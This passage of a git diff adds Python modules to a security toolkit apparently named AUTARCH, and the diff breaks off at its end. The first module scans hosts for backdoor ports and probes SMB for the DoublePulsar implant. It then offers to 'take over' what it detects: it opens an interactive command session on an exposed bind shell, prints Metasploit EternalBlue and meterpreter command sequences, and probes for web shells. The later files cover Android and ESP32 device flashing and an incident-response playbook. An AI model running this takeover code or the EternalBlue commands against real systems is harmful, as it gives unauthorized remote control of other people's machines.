nmap if available), 'custom' (user-specified ports) + """ + start = time.time() + result = ScanResult( + target=target, + scan_time=datetime.now(timezone.utc).isoformat(), + duration=0.0, + ) + + # Build port list + ports = set() + if scan_type == 'custom' and custom_ports: + ports = set(custom_ports) + else: + # Always include signature ports + for sig in BACKDOOR_SIGNATURES: + ports.add(sig.port) + if scan_type in ('full', 'nmap'): + ports.update(EXTRA_SUSPICIOUS_PORTS) + + # Try nmap first if requested and available + if scan_type == 'nmap': + nmap_result = self._nmap_scan(target, ports, timeout) + if nmap_result: + result.open_ports = nmap_result.get('ports', []) + result.os_guess = nmap_result.get('os', '') + result.nmap_raw = nmap_result.get('raw', '') + + # Fallback: socket-based scan + if not result.open_ports: + sorted_ports = sorted(ports) + total = len(sorted_ports) + results_lock = threading.Lock() + open_ports = [] + + def scan_port(port): + pr = self._check_port(target, port, timeout) + if pr and pr.state == 'open': + with results_lock: + open_ports.append(pr) + + # Threaded scan — 50 concurrent threads + threads = [] + for i, port in enumerate(sorted_ports): + t = threading.Thread(target=scan_port, args=(port,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 50: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + if progress_cb and i % 10 == 0: + progress_cb(i, total) + for t in threads: + t.join(timeout=timeout + 2) + + result.open_ports = sorted(open_ports, key=lambda p: p.port) + + # Match open ports against backdoor signatures + result.backdoors = self._match_signatures(target, result.open_ports, timeout) + + # Check SMB specifically for EternalBlue + if any(p.port == 445 and p.state == 'open' for p in result.open_ports): + result.smb_info = self._check_smb(target, timeout) + # Check DoublePulsar + dp_result = self._check_doublepulsar(target, timeout) + if dp_result: + result.backdoors.append(dp_result) + + result.duration = time.time() - start + + # Save scan + scan_dict = result.to_dict() + self._scans.append(scan_dict) + self._save_scans() + + return result + + def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]: + """TCP connect scan on a single port with banner grab.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + if result == 0: + banner = '' + service = '' + try: + # Try to grab banner + sock.settimeout(2.0) + # Send probe for known ports + probe = self._get_probe(port) + if probe: + sock.send(probe) + banner = sock.recv(1024).decode('utf-8', errors='replace').strip() + service = self._identify_service(port, banner) + except Exception: + service = self._identify_service(port, '') + sock.close() + return PortResult(port=port, protocol='tcp', state='open', + banner=banner[:512], service=service) + sock.close() + except Exception: + pass + return None + + def _get_probe(self, port: int) -> bytes: + """Return an appropriate probe for known ports.""" + probes = { + 21: b'', # FTP sends banner automatically + 22: b'', # SSH sends banner automatically + 23: b'', # Telnet sends banner automatically + 25: b'', # SMTP sends banner + 80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 110: b'', # POP3 banner + 143: b'', # IMAP banner + 443: b'', # HTTPS — won't get plaintext banner + 3306: b'', # MySQL banner + 3389: b'', # RDP — binary protocol + 5432: b'', # PostgreSQL + 6379: b'INFO\r\n', # Redis + 8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 8443: b'', + 8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 27017: b'', # MongoDB + } + # Check backdoor signatures for specific probes + for sig in BACKDOOR_SIGNATURES: + if sig.port == port and sig.probe: + return sig.probe + return probes.get(port, b'') + + def _identify_service(self, port: int, banner: str) -> str: + """Identify service from port number and banner.""" + bl = banner.lower() + if 'ssh-' in bl: + return 'SSH' + if 'ftp' in bl: + return 'FTP' + if 'smtp' in bl or '220 ' in bl: + return 'SMTP' + if 'http' in bl: + return 'HTTP' + if 'mysql' in bl: + return 'MySQL' + if 'redis' in bl: + return 'Redis' + if 'mongo' in bl: + return 'MongoDB' + if 'postgresql' in bl: + return 'PostgreSQL' + + well_known = { + 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', + 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP', + 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S', + 1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle', + 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL', + 5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt', + 8443: 'HTTPS-Alt', 27017: 'MongoDB', + } + return well_known.get(port, 'unknown') + + def _match_signatures(self, host: str, open_ports: List[PortResult], + timeout: float) -> List[BackdoorHit]: + """Match open ports against backdoor signatures.""" + hits = [] + port_map = {p.port: p for p in open_ports} + + for sig in BACKDOOR_SIGNATURES: + if sig.port not in port_map: + continue + port_info = port_map[sig.port] + confidence = 'low' + details = '' + + # Banner match raises confidence + if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower(): + confidence = 'high' + details = f'Banner matches: {sig.banner_pattern}' + elif port_info.banner: + # Port open with some banner — medium + confidence = 'medium' + details = f'Port open, banner: {port_info.banner[:100]}' + else: + # Port open but no banner — check if it's a well-known service + if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP', + 'DNS', 'MySQL', 'PostgreSQL', 'RDP'): + # Legitimate service likely — low confidence for backdoor + confidence = 'low' + details = f'Port open — likely legitimate {port_info.service}' + else: + confidence = 'medium' + details = 'Port open, no banner — suspicious' + + hits.append(BackdoorHit( + signature=sig.name, + port=sig.port, + confidence=confidence, + banner=port_info.banner[:256], + details=details, + category=sig.category, + takeover_method=sig.takeover_method, + )) + + return hits + + # ── SMB / EternalBlue Detection ─────────────────────────────────────── + + def _check_smb(self, host: str, timeout: float) -> dict: + """Check SMB service details.""" + info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''} + nmap = find_tool('nmap') + if not nmap: + return info + try: + cmd = [nmap, '-Pn', '-p', '445', '--script', + 'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010', + '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=30) + output = result.stdout + info['raw'] = output + if 'VULNERABLE' in output or 'ms17-010' in output.lower(): + info['vulnerable'] = True + if 'OS:' in output: + for line in output.splitlines(): + if 'OS:' in line: + info['os'] = line.split('OS:')[1].strip() + break + if 'message_signing' in output.lower(): + if 'disabled' in output.lower(): + info['signing'] = 'disabled' + elif 'enabled' in output.lower(): + info['signing'] = 'enabled' + except Exception as e: + info['error'] = str(e) + return info + + def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]: + """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe. + + DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with + a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation). + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, 445)) + + # SMB negotiate + negotiate = ( + b'\x00\x00\x00\x85' # NetBIOS + b'\xff\x53\x4d\x42' # SMB + b'\x72' # Negotiate + b'\x00\x00\x00\x00' # Status + b'\x18\x53\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\xff\xff\xff\xfe\x00\x00' + b'\x00\x00\x00\x00\x00\x62\x00' + b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b' + b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e' + b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e' + b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20' + b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f' + b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c' + b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c' + b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e' + b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' + ) + sock.send(negotiate) + sock.recv(1024) + + # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe) + trans2 = ( + b'\x00\x00\x00\x4e' # NetBIOS + b'\xff\x53\x4d\x42' # SMB header + b'\x32' # Trans2 + b'\x00\x00\x00\x00' # Status + b'\x18\x07\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\x00\x00\xff\xfe\x00\x08' # MID=0x0800 + b'\x00\x00\x0f\x0c\x00\x00\x00\x01' + b'\x00\x00\x00\x00\x00\x00\x00' + b'\xa6\xd9\xa4\x00\x00\x00\x00\x00' + b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00' + b'\x00\x00\x00\x00\x01\x00\x0e\x00' + b'\x00\x00\x0c\x00\x00\x00\x00\x00' + ) + sock.send(trans2) + resp = sock.recv(1024) + sock.close() + + if len(resp) >= 36: + # Check multiplex ID — DoublePulsar modifies it + mid = struct.unpack(' Optional[dict]: + """Use nmap for comprehensive scan if available.""" + nmap = find_tool('nmap') + if not nmap: + return None + try: + port_str = ','.join(str(p) for p in sorted(ports)) + cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5', + '-p', port_str, '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=120) + output = result.stdout + parsed_ports = [] + os_guess = '' + + for line in output.splitlines(): + # Parse port lines: "445/tcp open microsoft-ds" + if '/tcp' in line or '/udp' in line: + parts = line.split() + if len(parts) >= 3: + port_proto = parts[0].split('/') + if len(port_proto) == 2 and parts[1] == 'open': + parsed_ports.append(PortResult( + port=int(port_proto[0]), + protocol=port_proto[1], + state='open', + service=' '.join(parts[2:]), + )) + if 'OS details:' in line: + os_guess = line.split('OS details:')[1].strip() + elif 'Running:' in line: + os_guess = os_guess or line.split('Running:')[1].strip() + + return { + 'ports': parsed_ports, + 'os': os_guess, + 'raw': output, + } + except Exception: + return None + + # ── Takeover Methods ────────────────────────────────────────────────── + + def connect_raw_shell(self, host: str, port: int, + timeout: float = 5.0) -> dict: + """Connect to a raw bind shell (netcat-style).""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + # Try to get initial output + try: + sock.settimeout(2.0) + initial = sock.recv(4096).decode('utf-8', errors='replace') + except Exception: + initial = '' + session_id = f'shell_{host}_{port}_{int(time.time())}' + self._active_sessions[session_id] = { + 'type': 'raw_shell', + 'host': host, + 'port': port, + 'socket': sock, + 'connected_at': datetime.now(timezone.utc).isoformat(), + } + return { + 'ok': True, + 'session_id': session_id, + 'initial_output': initial, + 'message': f'Connected to bind shell at {host}:{port}', + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def shell_execute(self, session_id: str, command: str, + timeout: float = 10.0) -> dict: + """Execute a command on an active shell session.""" + session = self._active_sessions.get(session_id) + if not session: + return {'ok': False, 'error': 'Session not found'} + sock = session.get('socket') + if not sock: + return {'ok': False, 'error': 'No socket for session'} + try: + sock.settimeout(timeout) + sock.send((command + '\n').encode()) + time.sleep(0.5) + output = b'' + sock.settimeout(2.0) + while True: + try: + chunk = sock.recv(4096) + if not chunk: + break + output += chunk + except socket.timeout: + break + return { + 'ok': True, + 'output': output.decode('utf-8', errors='replace'), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def close_session(self, session_id: str) -> dict: + """Close an active session.""" + session = self._active_sessions.pop(session_id, None) + if not session: + return {'ok': False, 'error': 'Session not found'} + sock = session.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + return {'ok': True, 'message': 'Session closed'} + + def list_sessions(self) -> List[dict]: + """List active takeover sessions.""" + return [ + { + 'session_id': sid, + 'type': s['type'], + 'host': s['host'], + 'port': s['port'], + 'connected_at': s['connected_at'], + } + for sid, s in self._active_sessions.items() + ] + + def attempt_takeover(self, host: str, backdoor: dict) -> dict: + """Attempt to take over a detected backdoor. + + Routes to the appropriate takeover method based on the signature. + """ + method = backdoor.get('takeover_method', '') + port = backdoor.get('port', 0) + + if method == 'raw_shell': + return self.connect_raw_shell(host, port) + + if method == 'meterpreter_connect': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'meterpreter_session': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'doublepulsar_inject': + return self._takeover_doublepulsar(host) + + if method == 'ssh_connect': + return {'ok': False, + 'message': f'SSH detected on {host}:{port}. ' + 'Use Offense → Reverse Shell for SSH access, ' + 'or try default credentials.'} + + if method == 'webshell_detect': + return self._detect_webshell(host, port) + + if method == 'socks_connect': + return {'ok': True, + 'message': f'SOCKS proxy at {host}:{port}. ' + f'Configure proxychains: socks5 {host} {port}'} + + if method == 'http_proxy_use': + return {'ok': True, + 'message': f'HTTP proxy at {host}:{port}. ' + f'export http_proxy=http://{host}:{port}'} + + if method == 'generic_connect': + return self.connect_raw_shell(host, port) + + return {'ok': False, 'error': f'No takeover handler for method: {method}'} + + def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict: + """Attempt takeover using Metasploit if available.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + return {'ok': False, + 'error': 'Metasploit not connected. Connect via Offense page first.'} + # Use multi/handler to connect to bind shell + return { + 'ok': True, + 'message': f'Metasploit available. Create handler: ' + f'use exploit/multi/handler; ' + f'set PAYLOAD windows/meterpreter/bind_tcp; ' + f'set RHOST {host}; set LPORT {port}; exploit', + 'msf_command': f'use exploit/multi/handler\n' + f'set PAYLOAD windows/meterpreter/bind_tcp\n' + f'set RHOST {host}\nset LPORT {port}\nexploit', + } + except ImportError: + return {'ok': False, 'error': 'Metasploit module not available'} + + def _takeover_doublepulsar(self, host: str) -> dict: + """Provide DoublePulsar exploitation guidance.""" + return { + 'ok': True, + 'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n' + f' use exploit/windows/smb/ms17_010_eternalblue\n' + f' set RHOSTS {host}\n' + f' set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f' set LHOST \n' + f' exploit\n\n' + f'Or inject DLL via existing DoublePulsar implant:\n' + f' use exploit/windows/smb/ms17_010_psexec\n' + f' set RHOSTS {host}\n' + f' exploit', + 'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n' + f'set RHOSTS {host}\n' + f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f'exploit', + } + + def _detect_webshell(self, host: str, port: int) -> dict: + """Probe HTTP service for common web shells.""" + shells_found = [] + common_paths = [ + '/cmd.php', '/shell.php', '/c99.php', '/r57.php', + '/webshell.php', '/backdoor.php', '/upload.php', + '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx', + '/cmd.jsp', '/shell.jsp', + '/.hidden/shell.php', '/images/shell.php', + '/uploads/shell.php', '/tmp/shell.php', + '/wp-content/uploads/shell.php', + '/wp-includes/shell.php', + ] + try: + import requests as req + for path in common_paths: + try: + r = req.get(f'http://{host}:{port}{path}', timeout=3, + allow_redirects=False) + if r.status_code == 200 and len(r.text) > 0: + # Check if it looks like a shell + text = r.text.lower() + indicators = ['execute', 'command', 'shell', 'system(', + 'passthru', 'exec(', 'cmd', 'uname', + 'phpinfo', 'eval('] + if any(ind in text for ind in indicators): + shells_found.append({ + 'path': path, + 'size': len(r.text), + 'status': r.status_code, + }) + except Exception: + continue + except ImportError: + return {'ok': False, 'error': 'requests library not available for web shell detection'} + + if shells_found: + return { + 'ok': True, + 'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}', + 'shells': shells_found, + } + return { + 'ok': True, + 'message': f'No common web shells found on {host}:{port}', + 'shells': [], + } + + # ── History ─────────────────────────────────────────────────────────── + + def get_scan_history(self) -> List[dict]: + return list(reversed(self._scans)) + + def clear_history(self) -> dict: + self._scans.clear() + self._save_scans() + return {'ok': True, 'message': 'Scan history cleared'} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_hack_hijack() -> HackHijackService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = HackHijackService() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Hack Hijack.""" + svc = get_hack_hijack() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ HACK HIJACK — Takeover ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Quick Scan (backdoor ports) ║") + print("║ 2 — Full Scan (all suspicious) ║") + print("║ 3 — Nmap Deep Scan ║") + print("║ 4 — View Scan History ║") + print("║ 5 — Active Sessions ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice in ('1', '2', '3'): + target = input(" Target IP: ").strip() + if not target: + continue + scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice] + print(f"\n Scanning {target} ({scan_type})...") + + def progress(current, total): + print(f" [{current}/{total}] ports scanned", end='\r') + + result = svc.scan_target(target, scan_type=scan_type, + progress_cb=progress) + print(f"\n Scan complete in {result.duration:.1f}s") + print(f" Open ports: {len(result.open_ports)}") + + if result.open_ports: + print("\n PORT STATE SERVICE BANNER") + print(" " + "-" * 60) + for p in result.open_ports: + banner = p.banner[:40] if p.banner else '' + print(f" {p.port:<9} {p.state:<7} {p.service:<10} {banner}") + + if result.backdoors: + print(f"\n BACKDOOR INDICATORS ({len(result.backdoors)}):") + print(" " + "-" * 60) + for i, bd in enumerate(result.backdoors, 1): + color = {'high': '\033[91m', 'medium': '\033[93m', + 'low': '\033[90m'}.get(bd.confidence, '') + reset = '\033[0m' + print(f" {i}. {color}[{bd.confidence.upper()}]{reset} " + f"{bd.signature} (port {bd.port})") + if bd.details: + print(f" {bd.details}") + + # Offer takeover + try: + sel = input("\n Attempt takeover? Enter # (0=skip): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(result.backdoors): + bd = result.backdoors[idx] + bd_dict = { + 'port': bd.port, + 'takeover_method': bd.takeover_method, + } + r = svc.attempt_takeover(target, bd_dict) + if r.get('ok'): + print(f"\n {r.get('message', 'Success')}") + if r.get('session_id'): + print(f" Session: {r['session_id']}") + # Interactive shell + while True: + cmd = input(f" [{target}]$ ").strip() + if cmd in ('exit', 'quit', ''): + svc.close_session(r['session_id']) + break + out = svc.shell_execute(r['session_id'], cmd) + if out.get('ok'): + print(out.get('output', '')) + else: + print(f" Error: {out.get('error')}") + else: + print(f"\n Failed: {r.get('error', 'Unknown error')}") + except (ValueError, IndexError): + pass + + if result.smb_info.get('vulnerable'): + print("\n [!] SMB MS17-010 (EternalBlue) VULNERABLE") + print(f" OS: {result.smb_info.get('os', 'unknown')}") + print(f" Signing: {result.smb_info.get('signing', 'unknown')}") + + if result.os_guess: + print(f"\n OS Guess: {result.os_guess}") + + elif choice == '4': + history = svc.get_scan_history() + if not history: + print("\n No scan history.") + continue + print(f"\n Scan History ({len(history)} scans):") + for i, scan in enumerate(history[:20], 1): + bds = len(scan.get('backdoors', [])) + high = sum(1 for b in scan.get('backdoors', []) + if b.get('confidence') == 'high') + print(f" {i}. {scan['target']} — " + f"{len(scan.get('open_ports', []))} open, " + f"{bds} indicators ({high} high) — " + f"{scan['scan_time'][:19]}") + + elif choice == '5': + sessions = svc.list_sessions() + if not sessions: + print("\n No active sessions.") + continue + print(f"\n Active Sessions ({len(sessions)}):") + for s in sessions: + print(f" {s['session_id']} — {s['type']} → " + f"{s['host']}:{s['port']} " + f"(since {s['connected_at'][:19]})") diff --git a/modules/hardware_local.py b/modules/hardware_local.py new file mode 100644 index 0000000..c5fc5df --- /dev/null +++ b/modules/hardware_local.py @@ -0,0 +1,262 @@ +""" +Hardware Local - Physical device access (ADB/Fastboot/Serial) +Direct access to USB-connected devices on this machine. +""" + +DESCRIPTION = "Physical device access (ADB/Fastboot/Serial)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + + +class HardwareLocal: + """Interactive hardware access menu.""" + + def __init__(self): + from core.hardware import get_hardware_manager + self.mgr = get_hardware_manager() + + def show_menu(self): + status = self.mgr.get_status() + print(f"\n{'='*50}") + print(" Hardware Access (Local)") + print(f"{'='*50}") + print(f" ADB: {'Available' if status['adb'] else 'Not found'}") + print(f" Fastboot: {'Available' if status['fastboot'] else 'Not found'}") + print(f" Serial: {'Available' if status['serial'] else 'Not installed'}") + print(f" ESPTool: {'Available' if status['esptool'] else 'Not installed'}") + print() + print(" 1) List ADB Devices") + print(" 2) ADB Device Info") + print(" 3) ADB Shell") + print(" 4) ADB Sideload/Install") + print(" 5) List Fastboot Devices") + print(" 6) Fastboot Device Info") + print(" 7) Fastboot Flash Partition") + print(" 8) List Serial Ports") + print(" 9) Detect ESP Chip") + print(" 10) Flash ESP32 Firmware") + print(" 0) Back") + print() + + def _pick_device(self, devices, label="device"): + if not devices: + print(f" No {label}s found.") + return None + if len(devices) == 1: + return devices[0]['serial'] + print(f"\n Select {label}:") + for i, d in enumerate(devices, 1): + extra = d.get('model', '') or d.get('state', '') + print(f" {i}) {d['serial']} {extra}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + return devices[choice - 1]['serial'] + except (ValueError, EOFError): + pass + return None + + def list_adb_devices(self): + devices = self.mgr.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + print(f"\n {'Serial':<20} {'State':<12} {'Model':<15} {'Product'}") + print(f" {'-'*60}") + for d in devices: + print(f" {d['serial']:<20} {d['state']:<12} {d.get('model',''):<15} {d.get('product','')}") + + def adb_device_info(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + info = self.mgr.adb_device_info(serial) + print(f"\n Device Info: {serial}") + print(f" {'-'*40}") + for k, v in info.items(): + print(f" {k:<20} {v}") + + def adb_shell(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + print(f" ADB Shell ({serial}) - type 'exit' to quit") + while True: + try: + cmd = input(f" {serial}$ ").strip() + except (EOFError, KeyboardInterrupt): + break + if cmd.lower() in ('exit', 'quit', ''): + break + result = self.mgr.adb_shell(serial, cmd) + if result['output']: + print(result['output']) + + def adb_sideload(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + try: + filepath = input(" File path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not filepath: + return + result = self.mgr.adb_sideload(serial, filepath) + if result.get('success'): + print(f" Sideload started (op: {result['op_id']})") + # Poll progress + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Unknown error')}") + + def list_fastboot_devices(self): + devices = self.mgr.fastboot_devices() + if not devices: + print(" No Fastboot devices connected.") + return + print(f"\n {'Serial':<25} {'State'}") + print(f" {'-'*35}") + for d in devices: + print(f" {d['serial']:<25} {d['state']}") + + def fastboot_device_info(self): + devices = self.mgr.fastboot_devices() + serial = self._pick_device(devices, "Fastboot device") + if not serial: + return + info = self.mgr.fastboot_device_info(serial) + print(f"\n Fastboot Info: {serial}") + print(f" {'-'*40}") + for k, v in info.items(): + print(f" {k:<20} {v}") + + def fastboot_flash(self): + devices = self.mgr.fastboot_devices() + serial = self._pick_device(devices, "Fastboot device") + if not serial: + return + try: + partition = input(" Partition (boot/recovery/system/vendor): ").strip() + filepath = input(" Firmware path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not partition or not filepath: + return + result = self.mgr.fastboot_flash(serial, partition, filepath) + if result.get('success'): + print(f" Flash started (op: {result['op_id']})") + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Unknown error')}") + + def list_serial_ports(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(f"\n {'Port':<20} {'Description':<30} {'VID:PID'}") + print(f" {'-'*60}") + for p in ports: + vid_pid = f"{p['vid']}:{p['pid']}" if p['vid'] else '' + print(f" {p['port']:<20} {p['desc']:<30} {vid_pid}") + + def detect_esp(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(" Select port:") + for i, p in enumerate(ports, 1): + print(f" {i}) {p['port']} - {p['desc']}") + try: + choice = int(input(" > ").strip()) + port = ports[choice - 1]['port'] + except (ValueError, IndexError, EOFError): + return + result = self.mgr.detect_esp_chip(port) + if result.get('success'): + print(f" Chip: {result['chip']}") + print(f" ID: {result.get('chip_id', 'N/A')}") + else: + print(f" Error: {result.get('error', 'Detection failed')}") + + def flash_esp(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(" Select port:") + for i, p in enumerate(ports, 1): + print(f" {i}) {p['port']} - {p['desc']}") + try: + choice = int(input(" > ").strip()) + port = ports[choice - 1]['port'] + firmware = input(" Firmware path: ").strip() + except (ValueError, IndexError, EOFError): + return + if not firmware: + return + result = self.mgr.flash_esp(port, firmware) + if result.get('success'): + print(f" Flash started (op: {result['op_id']})") + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Flash failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.list_adb_devices, + '2': self.adb_device_info, + '3': self.adb_shell, + '4': self.adb_sideload, + '5': self.list_fastboot_devices, + '6': self.fastboot_device_info, + '7': self.fastboot_flash, + '8': self.list_serial_ports, + '9': self.detect_esp, + '10': self.flash_esp, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + hw = HardwareLocal() + hw.run_interactive() diff --git a/modules/hardware_remote.py b/modules/hardware_remote.py new file mode 100644 index 0000000..ee4b937 --- /dev/null +++ b/modules/hardware_remote.py @@ -0,0 +1,25 @@ +""" +Hardware Remote - Remote physical device access via web UI +Devices connected to the AUTARCH server are accessible through the web browser. +""" + +DESCRIPTION = "Remote physical device access (via web UI)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + + +def run(): + print("\n Hardware Remote Access") + print(" " + "=" * 40) + print(" Remote hardware access is available through the web UI.") + print(" Devices plugged into this server (USB/Serial) can be") + print(" managed remotely via your browser.") + print() + print(" Start the web server with: python3 autarch.py --web") + print(" Then navigate to: http://:5000/hardware") + print() + print(" Supported devices:") + print(" - Android (ADB/Fastboot)") + print(" - ESP32 (Serial flash/monitor)") + print() diff --git a/modules/incident_resp.py b/modules/incident_resp.py new file mode 100644 index 0000000..613e624 --- /dev/null +++ b/modules/incident_resp.py @@ -0,0 +1,1555 @@ +"""AUTARCH Incident Response + +IR playbook runner, evidence collection, IOC sweeping, timeline building, +containment actions, and post-incident reporting for security operations. +""" + +import os +import sys +import json +import time +import platform +import subprocess +import re +import hashlib +import shutil +from pathlib import Path +from datetime import datetime, timezone +from collections import defaultdict + +# Module metadata +DESCRIPTION = "Incident response — playbooks, evidence & containment" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = BLUE = MAGENTA = WHITE = DIM = BOLD = RESET = '' + def clear_screen(): pass + def display_banner(): pass + +_is_win = platform.system() == 'Windows' + +# ── Valid enumerations ────────────────────────────────────────────── + +INCIDENT_TYPES = [ + 'ransomware', 'data_breach', 'insider_threat', 'ddos', + 'account_compromise', 'malware', 'phishing', 'unauthorized_access', +] + +SEVERITY_LEVELS = ['critical', 'high', 'medium', 'low'] + +STATUS_VALUES = ['open', 'investigating', 'contained', 'resolved', 'closed'] + +EVIDENCE_TYPES = [ + 'system_logs', 'process_list', 'network_connections', 'running_services', + 'user_accounts', 'scheduled_tasks', 'recent_files', 'memory_info', + 'disk_info', 'installed_software', +] + + +# ── Playbooks ─────────────────────────────────────────────────────── + +IR_PLAYBOOKS = { + 'ransomware': { + 'name': 'Ransomware Response', + 'steps': [ + { + 'title': 'Isolate Affected Systems', + 'description': 'Immediately disconnect infected hosts from the network to prevent lateral movement and further encryption. Disable WiFi adapters and unplug Ethernet cables. Add firewall rules to block the host if remote.', + 'check_items': ['Disconnect from network', 'Disable WiFi adapters', 'Block at firewall', 'Disable shared drives/NFS mounts'], + 'automated': True, + 'commands': ['netsh interface set interface "Wi-Fi" disable' if _is_win else 'nmcli radio wifi off', + 'netsh advfirewall set allprofiles state on' if _is_win else 'iptables -P INPUT DROP && iptables -P OUTPUT DROP && iptables -P FORWARD DROP'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Capture volatile evidence before any remediation. Collect running processes, network connections, memory state, and ransom notes. Photograph any ransom screens.', + 'check_items': ['Capture process list', 'Capture network connections', 'Save ransom note text', 'Screenshot ransom screen', 'Record system time and timezone'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp'], + }, + { + 'title': 'Identify Ransomware Variant', + 'description': 'Determine the ransomware family by examining the ransom note, encrypted file extensions, and behavior. Check ID Ransomware (id-ransomware.malwarehunterteam.com) and No More Ransom (nomoreransom.org) for known decryptors.', + 'check_items': ['Note encrypted file extension', 'Identify ransom note filename', 'Check ID Ransomware', 'Check No More Ransom project', 'Search threat intelligence feeds'], + 'automated': False, + 'commands': [], + 